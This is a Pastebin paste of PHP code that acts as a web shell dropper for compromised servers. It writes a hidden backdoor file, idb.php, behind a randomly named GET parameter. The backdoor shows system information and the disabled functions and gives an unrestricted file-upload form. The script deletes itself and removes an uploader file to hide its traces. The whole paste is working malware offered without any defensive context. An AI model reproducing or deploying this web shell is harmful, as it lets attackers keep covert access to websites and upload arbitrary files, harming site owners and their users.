SHARE
TWEET

Untitled

Sl4ckerc0de Feb 28th, 2019 (edited) 54 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. if(isset($_GET["kurd"]))
  3.     {
  4.     $kurd =unlink(__FILE__);
  5.     if ($kurd){ echo "Ok"; }else{ echo "error"; }}
  6. ?>
  7. <?php
  8. error_reporting(0);
  9. echo "dirandom";
  10. function Random($length = 9) {
  11.     $pit = 'abcdefghijklmnopqrstuvwxyz';
  12.     $rands = '';
  13.     for ($i = 0; $i < $length; $i++) {
  14.         $rands .= $pit[rand(0, strlen($pit) - 1)];
  15.     }
  16.     return $rands;
  17. }
  18. $ran = Random();
  19. echo '<a
  20. hresdddf="'."$ran".'">';
  21. $file1 = '<?php
  22. error_reporting(0);
  23. if(isset($_GET['."$ran".']))
  24.     {
  25.         echo"<font
  26. color=#FF0000>[kernel]".php_uname()."[/uname]<br>";
  27.         echo "<font
  28. color=#FF0000>[pwd]".getcwd()."[/pwd]<br>";
  29.         print "\n";$disable_functions =
  30. @ini_get("disable_functions");
  31.         echo "Fungsi=".$disable_functions; print
  32. "<br>";
  33.         echo"<form method=post enctype=multipart/form-data>";
  34.         echo"<input type=file name=f><input name=v type=submit id=v
  35. value=up><br>";
  36.           if($_POST["v"]==up)
  37. {
  38. if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Ok</b>-->".$_FILES["f"]["name"];}else{echo"<b>error";}}
  39.  
  40. {
  41. if(@copy($_FILES["emad"]["tmp_name"],$_FILES["emad"]["name"])){echo"<b></b>-->".$_FILES["emad"]["name"];}else{echo"<b>";}}}
  42. unlink("./up.php");
  43. ?>';
  44. $r=fopen("idb.php", "w"); fwrite($r,$file1);
  45. fclose($r);
  46. ?>
  47. <?php
  48. unlink("./up.php");
  49. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top